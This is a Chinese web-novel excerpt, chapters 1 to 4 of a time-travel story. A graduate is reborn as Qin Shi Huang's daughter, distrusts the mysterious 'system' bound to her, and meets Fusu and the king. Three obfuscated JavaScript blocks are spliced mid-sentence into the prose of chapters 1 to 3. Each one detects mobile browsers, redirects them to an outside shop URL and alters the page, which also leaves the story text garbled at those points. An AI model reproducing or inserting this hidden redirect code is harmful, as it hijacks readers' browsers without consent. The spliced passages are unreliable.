《皇帝是怎样练成的》 1. 系统初现 [检测到共振频率……] [符合绑定条件……] [绑定成功。] [意识体抽取中……] “碰!” 湖面以9.8米每秒的加速度上升,迅速淹没了车子。 [……开始迁跃……] 云乐盯着水池里的鱼,很想和它们比比谁的肺活量更大。 她往池边走了一步。 她退回来了。 她又往前走了一步。 她再次迟疑地停下了脚步。 哎……要不还是算了吧。 云乐一屁股坐到地上,顿觉悲从中来。 死又不敢死,活又不想活。 倒霉熊不是停播了吗?怎么有人经历了非典,熬过了新冠,好不容易大学毕业,没找到工作,还出了车祸。 这下好了,直接送自己重新投胎了。 更加让人痛苦的是,重开点语言不通,食物不丰,孟婆汤没喝跟喝了一样,啥也不懂。 寒窗苦读十六年,一朝重生,大学生竟成文盲一个。 你知道茴香豆的茴有四种写法吗? 云乐知道,云乐还会写。 那你知道在这里茴香豆的茴怎么写吗? 云乐不知道,云乐就算看到了也不会读。 震惊!大学生云某毕业后竟被发现她其实不认识字! 一想到此,云某就满脸痛苦,可能唯一的好消息,就是她大概能判断重生后的地方符合我国古代的世界观,亲爹还挺有权有势,不然家中不会吃喝不愁,奴仆成群。 就在云乐沉浸在悲惨世界中不能自拔时,身后突然传来了一道声音。 “这里的鱼不能吃哦。” “为何不能?”来自大吃货国的本能让她忍不住反驳:“此地水质清澈,细观池中鱼,通体粗壮有力,眼睛清亮饱满,鱼鳞完整有光泽,一看就是肉质紧实细腻,养得很好吃的鱼。” “那……要尝尝吗?” 云乐转过头去,便看见一个凤目星眸,唇红齿白的小朋友在冲着自己微笑。 现在已经没有时间悲伤了!怎么能让漂亮弟弟的话落地上! “当然!” 她一边说着一边就直接卷起袖子:“实践出真知,我们这就抓一条尝尝好不好吃。” 她先做出喂食的动作,等鱼儿都聚集过来时,快准狠地抓住了一条胖鱼就往地上扔,还不忘甩鱼两个巴掌。 见状,男孩放下了本想招呼人过来抓鱼的手,还示意要过来的侍人往后退。 “我们这就去找庖厨的人修理一下这鱼,然后把它烤了吃吃看。” 云乐抓起他的手就往庖厨去,出生四年,云乐别的没干,倒是把太官署摸得清清楚楚,甚至收买了一个庖徒专门给自己开小灶。 两人看似偷偷摸摸实则光明正大地把烤鱼分食殆尽。 云乐嘬了嘬手指:“怎么样,我就说味道不错吧。” 男孩优雅地擦了擦手:“云乐妹妹手艺甚佳,此鱼确实鲜美至极。” “!” 等等,有哪里不对劲。 “你怎么知道我叫云乐?”某些人完全忘记了自己的生理年龄只有四岁,对着八岁大的孩子就问:“还有,你为什么叫我妹妹呢?” “我是你的长兄,名唤扶苏,妹妹可以称我为长兄或者大兄。”他说话条理清晰,不紧不慢,轻描淡写就抛出一个大雷。 “……扶苏。”云乐傻了。 “是扶苏阿兄,若是云乐愿意,私底下唤我哥哥也可。”他先是强调了自己的兄长身份,再接着解释:“我方才碰见了兰绮宫的侍人正在找云乐公主,宫中规矩森严,今日亦无夫人携女入宫,我见你一无侍人跟随,二则神态自然,毫无忧惧之色,可见对此处甚是熟悉,想来便是云乐妹妹无疑。” 是我知道的那个扶苏吗? “……你是王上的长子?” 是那个自尽也没有一丝犹豫的狠人,秦始皇的长子扶苏吗? “正是。”男孩忍不住纠正道:“不过妹妹应当称王上为父王。” 我的老天奶,我爹是嬴政!那个秦始皇! 巨大的冲击让云乐大脑宕机,只剩下一丝本能在提问:“那你怎么也一个人出现在这里啊?” “自然是如妹妹一般。”扶苏浅浅开了个玩笑。 “啊?” “甩了侍人偷溜出来的。”他看了看云乐,又补充道:“妹妹安心,方才往太官来时,我便已经遣人去兰绮宫报信了。” 原来刚毅而勇武,信人而奋士的长公子,年少时是这个样子啊。 重生四年,云乐终于明白了来处,知道了归途。 或许老天爷是想要让云乐在一天之内将这辈子的震惊值都花光,一道AI女声突然在她的耳畔响起。 [系统重连中……] [连接成功,系统d41d8cd98f00b204e9800998ecf8427e为您服务。] [宿主您好,我是文明发展推动系统,具备信息查询、操作指导、穿越时空等能力,可以帮您快速搞定各类需求。] 云乐没有理会眼前不断冒出来的弹框,只是对着小小年纪就十分靠谱的大哥故作深沉:“原来如此。” 扶苏摸了摸突然傻傻的妹妹,带着她往兰绮宫走去:“下回若想要一个人静静,直接让侍人退开即可,实在不必甩开他们。” 一路上扶苏仔细叮嘱着云乐,把人念叨得不堪其扰,只能不停点头表示没有下一次。 兰绮宫。 云乐一直等到用完了夕食,才挥退围着自己的侍人,开始研究刚刚一直在不停闪烁窗口,疯狂彰显自身存在感的系统。 “我什么时候变成你的宿主了?” [根据查询结果,系统在公元2025年6月21日绑定宿主云乐。] 云乐垂下双眸,那是她出车祸的时间。 “……那这四年你为什么没有动静。” [正在查询中……] [显示后台记录。] 随后,一串长长的系统日志在云乐面前展开,从四年前她重生开始,每一天都有好几条一模一样的记录,一眼望不到头。 [系统重连中……] [警告!精神阈值未达标。] [正在@#¥!%强@#¥&%*&] [重连失败。] [系统重连中……] “……” “我看你有穿越时空的功能,那现在可以送我回去了吗?” [非常抱歉,系统目前暂不支持此功能。] 人在无语的时候真的会笑一下。 “那你叫什么名字,我该怎么称呼?” [正在思考中……] [我是文明发展推动系统,编号d41d8cd98f00b204e9800998ecf8427e,宿主可以为我制定专属称呼。] “好的,那就小日子。说说吧,绑定我的原因和目的。” [好的,已设定自动唤醒词:小日子。] [系统持续思考中……] [系统通过检测脑电波共振频率以及意识体是否符合条件筛选并绑定宿主。] [系统的目的是推动文明发展。宿主是否需要我详细解释?如果需要的话,请回复需要。] “……需要。” 忍字头上一把刀,我云乐被人工智障气的时候难道还少吗?! [好的,考虑到宿主的文化水平,我会将文明整体比作树木。宿主出生位面可理解为树木主干,宿主如今所在位面和往后前往的位面可以理解为树木枝条。系统以守护、帮助文明茁壮成长为目标,让文明尽可能枝繁叶茂,所以只要宿主能推动科技发展,实现文明进步,系统即可从中获取能量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135672|196263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将宿主送返原位面。] “?” 云乐一脸黑人疑惑表情包:“你们选宿主不做背调的吗?我是纯种文科生啊,怎么助推科技发展?” [正在深度思考……] [文明发展系统具备信息查询,操作指导等功能,需要我为你相关资料和操作指导吗?] “暂时不需要。” [好的,有需求请呼唤我。] “等等,你对秦朝了解多少?现在是几几年?” 云乐等了一会儿,发现系统毫无反应。 “……小日子。” [我在,请问有什么可以帮助您?] “说说你对秦朝的了解,以及现在是几几年?” [很抱歉,暂无相关资料储备,无法为您提供对应回答。请试试别的问题吧。] “说说你对我国历史的了解,要加上对应年份。” [很抱歉,暂无相关资料储备,无法为您提供对应回答。请试试别的问题吧。] “……那你的资料库里都有什么。” [我的知识库覆盖特别全,基础理科、应用工科、农林牧渔、临床医疗都有,不管是查信息还是做辅助都能用得上。] 云乐嘴角一抽,这系统还没逗包好用,差评。 她关掉了系统弹窗,泄气地把自己往榻上一扔,开始回忆历史。 公元前211年,秦始皇统一六国。 她扒拉了一下手指,依稀记得现在是秦王十四年,所以秦王十四年是公元前哪一年来着? 算了,不知道,再想想别的吧。 秦朝确立了君主专制中央集权制度,嬴政自称始皇帝,皇帝对国家事务拥有至高无上的决定权。 云乐接着抓了抓头皮,从三公九卿制想到郡县制,从北击匈奴筑长城想到南征百越修灵渠,从秦始皇巩固统一的措施想到秦始皇大一统的意义。 但是这些好像对现状帮不上一点忙啊。 她泄气地叹了口气,换一个角度思考,开始想自己知道的这个时代的人物有哪些。 嬴政,扶苏,赵太后,赵太后还有个男人,华阳太后,吕不韦,李斯,赵高,胡亥……还有,蒙恬? 脑子越想越有,甚至逐渐冒出了当年看的一些历史衍生小说和史同女发的贴子。 虽说正史是一点没看,但是多多少少还是有一些参考性的……吧。 我尊敬的老祖宗啊,作为史同大烫门,您的粉丝可一定要是些靠谱人啊。 云乐双手合十疯狂摇晃,向天祈祷昔日同胞定要靠谱一些,同时又在遗憾当初怎么就只记了公元纪年的时间线了呢,这下可好,现在都是王公年次纪年,根本对不上自己所知的时间线。 明明心里在为自己当初没有多了解点正经历史而痛哭流涕,悔不当初,她面上却没有什么表情地爬了起来。 做了一番心理准备后,她再一次呼叫系统:“小日子。” [我在,请问有什么可以帮助您。] “说说你对秦朝的了解,以及现在是几几年?” [很抱歉,暂无相关资料储备,无法为您提供对应回答。请试试别的问题吧。] 闻言,云乐颤抖着手,再一次关闭系统弹窗。 许久,她的嘴角咧出一抹微笑,随着时间的推移,那一抹笑容越来越大,越来越夸张,伴随着她瞪大的双眼,最终定格成了一个诡异而狰狞的表情。 暂无相关资料储备,暂无相关资料储备。 她细细品味着这句话,在这一刻,她甚至觉得这就是世间最美妙的句子。 不过很快,她就强迫自己冷静了下来。 她拉开榻上的暗格,从中取出竹片和刻刀,仔细思考片刻,随后落笔,雕琢出一串数字,如果一个现代人在这里,或许能够看出,这串数字的含义正是: 已确认,系统无法探知思想,敌我不明,保持警惕。 2. 试探系统 是从什么时候开始警惕系统的呢? 笑死,就没信任过。 车祸那天,云乐正从学校开车回家,这条路,她数度往返。 全程一百七十二公里,非节假日的时候往来车辆算不上多,所以最好提前出发。 路上的服务区很多,有的东西种类多还美味,有的又少又不合胃口。 晚上的时候有很多半挂,不过司机很遵守交规,基本不会开到快车道。 一路上都是断断续续的区间测速和违法拍照,一开始限速120,后来限速100,有一段都是隧道的最讨厌,限速80,她总是很难压住车速。 路上的风景也很好,树很美,水很清,可惜那时候总是急着回家,从没有仔细欣赏过。 现在想想,她还稍微有点遗憾。 每一次,云乐都是吃饱睡足、检查车子后再出发。 系上安全带,选好自己路上想听的歌,最后再开个导航,就可以开开心心地回家了。 明明是熟悉的路,车子满油无故障,人也身体健康精神饱满。 一切都是正常的样子。 但是猛然间,她就感到意识昏沉,连身体都无力支撑。 眼看着前面并排的小轿车和油罐车,她咬了咬牙,用力踩下刹车。 可惜这一瞬间手脚好像有了自己的想法,刹车没有刹住,方向盘倒是往右打死了。 车子翻越护栏,安全带紧紧抓住了她的身体。 就在湖水淹没口鼻,即将窒息的那一瞬,她确信她听到了一句话,那就是: 抽取成功,开始迁跃。 在云乐眼里,如果系统真的存在,那这场意外,不,是灾难根本就不是赶潮流的奇遇,而是一场跨时空的人口拐卖。 可怕的是,她跑不了,也回不去。 四年来,毫无动静的系统让她怀疑过一切都是自己濒死的幻听。 可是,就在她打算找个池子试探试探的时候,它出现了。 于是,过往的一切翻涌而来。 过于复杂的心绪让云乐在床上摊了好几个时辰煎饼也没睡着,眼看着天都要亮了,她干脆爬起来骚扰系统。 “小日子。” [我在,请问有什么可以帮助您。] “你说过的吧,只要我能推动文明发展,你就能从中获取能量送我回去。” [是的。] “你怎么判断文明是否发展了?” [我可以通过任务过程中获取能量的多寡来判断文明是否发展。] “……那你要怎么样才能尽可能多的获取能量?” [我可以和宿主进行深度绑定。] [深度绑定后,精神链接加深为精神嵌合,此后宿主与系统视为一体,同生共死,不可解绑。与此同时,系统所有权限都会向宿主开启,所有功能均可在获取足够能量后使用。] 所有功能都能使用? [是否开启深度绑定?] 弹窗泛着幽幽蓝光,云乐的手在[是]的选框前徘徊许久,眼睛却望向暗格,那里有几个时辰前她一刀一刀刻下的竹片。 最终,她深吸一口气,果断关闭了整个窗口。 再等等吧。 果然,没过多久,一个弹窗就不请自现。 [精神链接状态下,能量获取过程损耗较大,请宿主仔细考虑是否深度绑定。] 第二次,系统自动出现。 这一下子,云乐关得更坚决了。 [检测到宿主深度绑定意愿低,正在解绑,倒计时30秒,29,28……] 我的老天奶,这不符合流程! 心跳声随着倒计时的减少逐渐加快。 她掐住手心,强迫自己冷静下来。 不管如何,都不能让它脱离。 首先,抓住弱点。 “你现在没有足够的能量进行时空迁跃。”云乐的语速逐渐加快:“就算与我解除绑定,你想想在这个位面除了我有谁能达到绑定条件,有谁能知晓未来知道如何推动文明发展。” 其次,陈述利害。 “我一定要回家,我知道只有你能帮我跨越时空。一旦我们解绑,我回不了家,你也不可能找到比我更合适的宿主,大概率会能量耗尽死在这里!” 倒计时戛然而止。 [是否开启深度绑定?] 最后,示敌以弱。 “我不是不愿意深度绑定,毕竟我也想尽快回家。”云乐停顿了一下,接着说到:“但你看,你用了整整四年才做到重联,精神嵌合是链接的更进一步,以我现在的精神强度,你能保证一定成功吗?” [宿主多虑了,只要链接成功即可嵌合,深度绑定与宿主的精神强度并无关联。] 哦豁,猜错了。 [是否开启深度绑定?] “系统,你要明白,任务不能不做。”她故作无奈:“但是要缓做,慢做,优做,有秩序的做。要瞅准时机,在能量获取最大化的时候深度绑定,要摸清状况,如今你我对这个时代都算不得了解,贸然行动,只会事倍功半。” 云乐狠狠咳了几声,接着说道:“所以,我们一定要有讲究,有步骤,有安排,最终有规矩的做。明白吗?” [正在深度思考中……] 等待的时间里,云乐看不见的系统后台正在发疯刷新消息。 【宿主深度绑定意愿低,正在检索符合绑定条件个体。】 【检索失败。】 【正在尝试时空迁跃。】 【警告!警告!能量不足!】 【情报分析中……宿主行为分析中……】 【结论:宿主返回原位面目标明确,意志坚定,建议以退为进,树立无害化形象,进一步加深宿主信任。】 [我尊重你的决定,只是当前状态下,70%的能量会被日常消耗,穿越时空所需能量巨大,只有深度绑定后才可实现。] “……仔细说说如何获取能量。” [好的,我明白了。] [首先宿主需要明确:命运权重决定了能量获取的上限和下限。权重越高,能量越多,权重越低,能量越低。] “那么,什么是命运权重,我又该怎么提升这个权重呢?” [命运权重象征着个体对于文明的影响,对于文明的影响越大,命运权重就越高。] [宿主作为位面的外来者,虽然出自同一文明体系,但天地规则会天然警惕外来者。因此,宿主可以通过提升对高权重个体的影响力来间接提升权重,获取能量。] “没有直接提升权重的方法吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135673|196263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [有的,宿主。但是目前系统能量不足,不足以支撑这种方法的能量消耗。] “你先说说呗,可以等以后攒够了能量再尝试。” [直接提升宿主权重的方法是取代高权重个体。湮灭个体精神,由宿主进入身体,主导文明的发展。] 云乐闻言吓出了一身冷汗:“那你怎么没有直接这么做。” [系统能量不足以躲过天地规则。] 还好能量不够。 [但是只要宿主获得的能量足够多,我就可以帮助宿主直接取代高权重个体。] “现在能量不足,这种方法暂时不考虑。” 赶紧换一个话题:“那我怎么会成为秦王之女?” [根据我的推测,亲情关系更容易对人类产生影响,而系统在进入位面的一瞬间可以看见每个人的“亮度”,个体越明亮,权重越高。所以我为宿主挑选了进入位面时看着最明亮的个体,那位个体就是秦王。更重要的是,经我观测,他的子女权重极低,无需耗费多少能量。] 云乐恍然大悟,怪不得自己会成为祖龙的孩子。 不说战国末尾,就算纵观两千多年的封建地主制社会,论起对中华文明的影响,有几个人能比得过实现大一统的秦始皇呢? 而秦始皇子女权重低这一点,着实地狱,她摇了摇头不再细想。 “你接着说能量如何获取。” [好的,已为您总结了能量的获取的两种方法。第一种方法是推动科学技术的发展。系统的资料库有众多科技发展成果的理论说明和实操指导,因此,这种方法最为便捷,能量获取预期值极高。] [第二种方法推动思想上的转变。此方法不确定性极高,且无法判断此种转变是否为一种进步。建议宿主谨慎考虑。] “……好的,我明白了。那么我们先设法提升对秦王影响力,然后再进行深度绑定,如此一来我们推动科技发展时就能获得最多的能量。” “另外,既然第二种方法不可控性这么高,那么我们就专注科技发展和权重提升。” 接着,云乐脑子一扔,张嘴就编:“这样,我先挑选一批人传授基础科学知识,然后先学带动后学,让他们去教育下一批学子,如此一来,人才不断增多,推动科技发展的可能性大大增强,我们收获的能量也将大大增加。同时,我借助你的资料库开始研究前沿科学,做到在科技上遥遥领先其他文明,相信在你的帮助下,我一定能为推动科学发展做出巨大贡献。你觉得这个计划怎么样?” [我认为这个计划前置预案完备,策略路径清晰,符合高效达成目标核心诉求,可直接启动执行。] “很好,那就按照这个计划来。” [好的,宿主。] “对了,精神链接状态下,你能干什么?” [我可以开放初级资料库,其中都是基础简易的科学理论和发明成果。] 闻言,云乐眼神微亮。 基础好啊,谁不是从最基础的九年制义务教育开始学的。 一通来回试探后,天色已经微微发亮。 身心俱疲的人本想着闭目养神一会儿,却在不知不觉中睡熟了。 她整个人蜷缩在床榻上,手脚偶尔抽搐一下,好像睡梦中有个怪物在撵着她向前跑。 3. 出游(修) 作为一个体育废,云乐平生最厌恶锻炼,日常更是能躺着绝不坐着,能坐着绝不站着,睡醒后为了继续和床相亲相爱,更是能拖多久就拖多久。 重生一回,云乐延续了自己的优良习性,兰绮宫的侍人也十分了解她的作息,非特殊紧急情况,绝不进内殿打扰公主。 不过今日,特殊情况来了。 “公主,该起身了。”阿锦一边让侍人放好净面漱口的东西,一边轻声呼唤着云乐。 我上早八! 云乐一脸痛苦地睁开眼睛,望向阿锦。 “长公子正在殿中。” 懒人哐当一声就立起来了:“快给我更衣。” 不妙不妙,这和辅导员突击检查宿舍,却发现整个寝室还在呼呼大睡有什么区别! 她抓起侍人手上的衣服就往身上套,这都什么时候了还慢慢悠悠的,不像话! 作为一个从小受社会主义熏陶的祖国花朵,云乐十分尊老爱幼,断不会让人在外苦苦等候,更何况扶苏对她来说又老又小。 漱口,抹一把脸,不过五六分钟,云乐已经走到门槛那了。 似乎是被一向懒散,动作缓慢的主子如此迅捷的动作给惊住了,阿锦直到此刻才反应过来,跟上云乐。 正殿。 扶苏暗暗思忖:母妃梳妆打扮向来费些时辰,想来云乐也是如此,不若趁机先将课业完成,之后也能安心带妹妹出去散散心。 旋即他在案边坐下,示意侍人将简牍捧来:“今日来得唐突,扰了云乐安寝,你去说一声,让她慢慢来就好,不必着急。” “什么不必着急?”扶苏话音未落,云乐已经闪现在门口:“见过阿兄。” “……无事了。”扶苏难得卡了一下,又见她面露疑惑,赶忙转移话题:“昨日见你神色郁郁,便想着今日带你四处转转。” 要命啦,有人邀请四岁小孩去徒步。 “也行,那我们现在走吧。” 咱们早去早回。 “不急,先用了朝食,我们再出发。” 老实说,大秦的吃食并不合云乐的胃口,奈何活着需要进食,她也只能尽力让自己多吃一些。 咸阳宫是真的很大,这也意味着走起来真的很累。 小朋友体力不济,腿短步子小,半刻钟不到便忍不住扯了扯身边人的袖子:“阿兄,我们到底要去哪儿啊,还要走多久?” 她眨巴眨巴大眼睛,望向扶苏,神情仿佛在说:哥哥,我实在走不动啦。 “是我考虑不周,忘了你年岁尚幼。”扶苏这才意识到,云乐不过四岁,平日里也从未走过这么远的路,赶忙让侍人抱起她:“我们去囿台。” 囿台?这是哪? 似是看出了小孩的疑惑,扶苏乐了:“昨日不是才抓了那附近池子里的鱼吃吗?原来你竟不知那是何处。” “不过囿台乃先年所筑,层土累砌,俯瞰宫苑。你今日若是还想捕鱼,怕是没有昨日方便了。” 云乐闻言满头黑线,暗自腹诽:要不是你先以为我想要吃池子里的鱼,我也不会顺势抓一条尝尝。 云某是不会承认自己其实早已经对那些肥鱼垂涎三尺,蠢蠢欲动的。 “囿台下植桑麻草木,池内蓄鱼,远望可见渭水波光粼粼,风景甚好。往后你若是觉得无趣,便可来此散散心。” 哦,原来是一个观景台。 话语之间,两人已经来到了目的地。 云乐放眼望去,确实有被震撼到。 这和我想的不一样欸。 上辈子见惯了江南十步一景,草木繁茂,浑然一体的精致园林,她是真的被秦朝沉稳厚重的设计风格给惊住了。 与其说这是观景台,不如说是瞭望塔。 整个台子极其简朴,既无雕梁画栋也无金玉堆叠,只有厚重稳固的土块和简单质朴的瓦砾。 云乐凭栏远眺,好像能感觉到土地在平静的呼吸,渭水是大地银色的血管,生命在其中奔涌,天地之间似乎没有阻隔,就好像天空和大海一样,但是又比那更加厚重,更加沉稳包容。 “感觉如何?” “天清地宁,心旷神怡。”云乐低声感叹。 扶苏并没有听清楚云乐说了什么,只是静静地陪着她,看着一直以来眉眼带着一丝忧郁的妹妹舒展神色,变得逐渐平和安详。 “再过几日,将有韩国使臣入秦。” “?” “正使乃韩国公子非。” “!” 是韩非! 扶苏给了她一个肯定的眼神:“公子非乃瑶华夫人堂兄。” 云乐没能理解这个眼神的意思。 扶苏无奈了,只能把话说得更明白些:“瑶华夫人久病不起,心有郁结,若得知韩国来使,或能求得一见,稍解思乡之情。” 啊?可是我记得韩非不是……见一面然后发现自己堂兄嘎在这了。 这……这不合适吧…… “大兄的意思我明白。”云乐斟酌着开口:“但母妃缠绵病榻多年,恐怕无力……” “云乐。”扶苏第一次打断了她的话:“无论如何,能见一见亲人,总是令人高兴的。” 云乐沉默了,她知道扶苏这句话一般来讲是对的,问题是这个亲戚死劫将至啊。 更何况瑶华夫人生产后一直身体不好,云乐是真怕她见到了亲人就了却了遗憾,松气了。 可是重病之人,极有可能气一松,人就不行了。 但是云乐又不想让瑶华夫人带着遗憾离世。 瑶华夫人生产的时候正好二十岁,云乐是她第三个孩子,也是唯一一个活下来的孩子。 接连产子又丧子彻底击垮了瑶华夫人的身体和心理,若不是有云乐这一根独苗苗在,早几年她就已经撑不住了。 她是一个敏感多思的人,云乐刚出生时,她恨不得时时刻刻抱着孩子,孩子一有不对劲就惊慌失措,定要侍医来看了才能安心。 等云乐稍微长大点,更是对她极尽溺爱。 想认字?学!想读书?读!不想起床?那就睡饱了再起!不想吃饭?那不行,肯定是饭不好吃,想个办法偷偷开小灶。 要不是云乐内里是一个三观成熟的现代人,她早就被瑶华夫人宠坏了。 “为什么韩国来使会是公子非?”云乐不想接扶苏的话,只好转移话题。 “父王日前得阅公子非著书,赞其法术势之论,甚合心意,韩王闻知此事,倍感荣幸,是以此番特遣公子非为使臣入秦。” “……”云乐满眼复杂地望向扶苏:“阿兄,你的学识是儒生教的吗?” 小小年纪,就把春秋笔法玩得这么溜。 “当然不是。你怎会如此认为?”扶苏惊奇了,随即向云乐解释:“大秦以法治国,我的课业多由廷尉府和太史府派人来教授。” “没有固定的先生吗?” “没有。” “没有儒学博士吗?”比如淳于越。 “有,但不多。” 其实可以说几乎没有,扶苏课业繁重,奉常府来人授课时又多是教导宗法礼仪,占比并不大。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135674|196263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 思及此,扶苏不禁将目光投向云乐:“说不准以后还是云乐的先生儒学博士更多呢。” 毕竟,公主的课业多由奉常府署官和内廷派遣女官教习,而大秦的儒生又多在奉常府。 很显然,对于自己未来的教育方案云乐还是有过了解的,闻言便理解了扶苏的意思,顿时神情复杂。 我,一个21世纪刚刚法学毕业的大学生,重回大秦,主修儒学。 虽说大学四年啥也没学会,只知道了如何在期末抱佛脚,但是这么一想,还是自觉很抓马。 两人在囿台呆了大半天,最后扶苏想起今日的课业还未完成,便打算先带云乐回去。 望着妹妹恋恋不舍的眼神,他脑子一转就是一个奇思妙想:“云乐可想随我上一天课业试试?” “啊?”小朋友,你是想北大了吗? 扶苏显然以为云乐是不敢相信自己能做到让她跟着一起学一天,兴致冲冲地计划起来:“明日……不行,后日……一整天都是廷尉和太史府的课,可行!” “届时我们早点出发,我先把你藏好,然后就能一起听夫子讲课了!” 云乐看热闹不嫌事大,连连点头并火上浇油:“可是我要藏多久呀?我怕自己忍不住。” 扶苏闻言立刻补充:“那我明日让人将学室改造一番。” “嗯嗯,我还想要些蜜水和零嘴。” “没问题!” 在这一刻,云乐突然意识到,现在的扶苏虽然看着温柔,大多数时候做事也靠谱,实际还处在一个七岁八岁狗也嫌的年纪。 “可以不让我母妃知道吗?”她开始得寸进尺:“我怕母妃不同意。” “那我们偷偷的!”扶苏激动。 云乐也激动,干坏事总是让人身心愉悦。 两人就这么一路计划着回了兰绮宫,愉快地告别后各回各家,各找各妈。 “公主,夫人唤你。” 哎,这人可真禁不起念叨。 回忆了一下最近自己干了什么,云乐确认绝对没做什么让她担忧的事情,才扬起大大的笑脸冲着屋里喊:“母妃,我回来啦!” “云乐回来啦。”瑶华夫人对唯一的掌上明珠可谓是含在嘴里怕化了,捧在手里怕摔了:“虽说初春天气转暖,可外头也说不上暖和,怎么也不多穿点,当心得了风寒。” “母妃,我不冷。” 只是有一种冷,叫做你妈觉得你冷。 “对了母妃,大兄和我说,过几天有韩国使臣入秦,正使是韩国公子非。” 云乐小心观察了一下瑶华夫人的气色,才继续说:“到时候母妃可要递个信,见一见使臣?” 瑶华夫人沉默了半晌,才接了话:“阿兄是个有才之人,可惜……”我身子不好,见了也不过徒增感伤。 可惜赏识他的人不是韩君,而是秦君。 云乐在心里下意识接下这句话,却没有说出口。 母女二人难得温情脉脉了片刻,奈何瑶华夫人体力不济,没过多久便沉沉睡去了。 云乐将瑶华夫人冰凉的手塞回被子里,坐在榻边发了很久的呆才回自己的住处。 “阿锦。” “我是不是……不该告诉母妃,韩国使臣要来这件事。” “婢子不知。”阿锦原来是瑶华夫人的贴身婢女,对瑶华夫人的想法很清楚:“但婢子知道,夫人最在乎的是您。” 如果她知道韩非死在这里了,会成为压死她的最后一根稻草吗? 我能……试着改变历史,救下韩非吗? 4. 初见始皇 另一边,扶苏回去便兴冲冲地命人将学室的屏风往前挪了挪,随即藏了一张木案在屏风后面,案上没有竹简,倒是各式的碟子摆了一桌,里头全是甜而不腻的糕点和咸味肉脯。 第三日,天不过微微亮,扶苏就已经来了兰绮宫。 昨日,哦不对,前日重现。 “公主,公主。”阿锦轻声呼唤:“该起身了,长公子在外头等着呢。” 云乐痛苦地睁开眼睛,早知今日,当初就不该答应扶苏,跟他一起上学。 奈何当初只有干点出格事的激动,完全忘记了读书都是要早起的。 算了,来都来了。 两人穿过层层宫殿来到学室,却发现此刻安静得很,里面根本一个人都没有。 云乐瞪大了眼睛控诉扶苏:那我们来这么早干啥? 扶苏浅浅一笑,拉着云乐来到他布置好的藏身之处,只见木案前方铺了一条又厚又长的垫子,侧边还叠了一床小毯子,木案上有蜂蜜水和种类繁多的糕点肉脯,每一个都小巧得很,云乐一口就能塞进去一块,整个地方与外头的学室格格不入,倒像是一个放松娱乐的休闲地。 再往后,则是一个柜子,里面放了几卷简牍,云乐没有细看。 “你可以先睡一会儿,等一下若是被吵醒了,就吃点东西,我在外头,下了课便来寻你。” 自扶苏去兰绮宫找过云乐一回,他便知道自家妹妹是个能睡的,不然上回也不至于日上三竿了还没起床。 云乐闻言也不客气,走过去便扯了叠好的毯子准备睡个回笼觉,顺道摆了摆手让扶苏别打扰她。 等云乐再次清醒过来,外头已经响起了夫子讲课的声音。 “……两造具备,师听五辞。五辞简孚,正于五刑。五刑不简,正于五罚。五罚不服,正于五过①……” 云乐仔细听了片刻,发现这是在讲司法的原则与程序。 好奇之下,她目光扫过身后的竹简,果然看到了相关简牍。 她将简牍轻轻取下,对照着夫子的话开始做阅读理解。 越看,神色越复杂。 自初中学习《陈胜吴广起义》以来,她对秦法的印象就只有一个:严苛。 但是,纵观《吕刑》,其明德慎罚、刑罚世轻世重的理念却与现代刑法的罪刑法定和罪责刑相适应等原则一脉相承。 虽说《吕刑》乃西周时期的刑法,但现在秦国王室还在学习,就说明这应当是具有参考意义的。 她挠了挠头,只觉得这好像跟她学到的不一样。 从现在到秦朝灭亡有五十年吗? 这么短暂的时间,秦律是怎么病态发展到被人以为失期当斩,成为第一次农民起义的直接导火索的? 还是说,秦法实际上并没有那么严苛呢? 暗自思索间,云乐丝毫没有察觉到空气突然安静。 “看得懂?” “毋庸置疑。” 个别人又开始不过脑子说话了:“这不是轻轻松松。” 说完之后云乐才顺着声音转过头去。 结果只看到雪白的墙面,多年学生经验,让她下意识往窗外看去。 果然有一个人站在那里,她顺势仰头,想要看清来者的脸,仰、仰、仰…… 哐当一声,云乐四脚朝天倒在了地上。 就在这时,她才终于看清楚了。 来者衣着整洁,配饰齐全,五官立体,线条硬朗,薄唇,剑眉,高鼻梁,与扶苏相似的凤目扫过木案,正似笑非笑地看着自己。 哇哦,我是说,哇哦。 “看够了吗?” 云乐下意识摇了摇头,又马上点了点头。 来者见状故意曲解了她的意思,恶趣味道:“既然如此,就出来继续看着。” 说着,他伸出手,后面的侍人赶忙将一卷简牍递上,“让寡人瞧瞧,你究竟看懂了几分。” 要遭,被班主任抓到抽背了! 他走进学室,屋内的人随着他的到来跪了一地。 云乐这才从盛世美颜中回过神来,走出屏风,站到案前。 前方,是老祖宗极具压迫感的身影,身后,是一串几乎要将她后背烤焦的公子的视线。 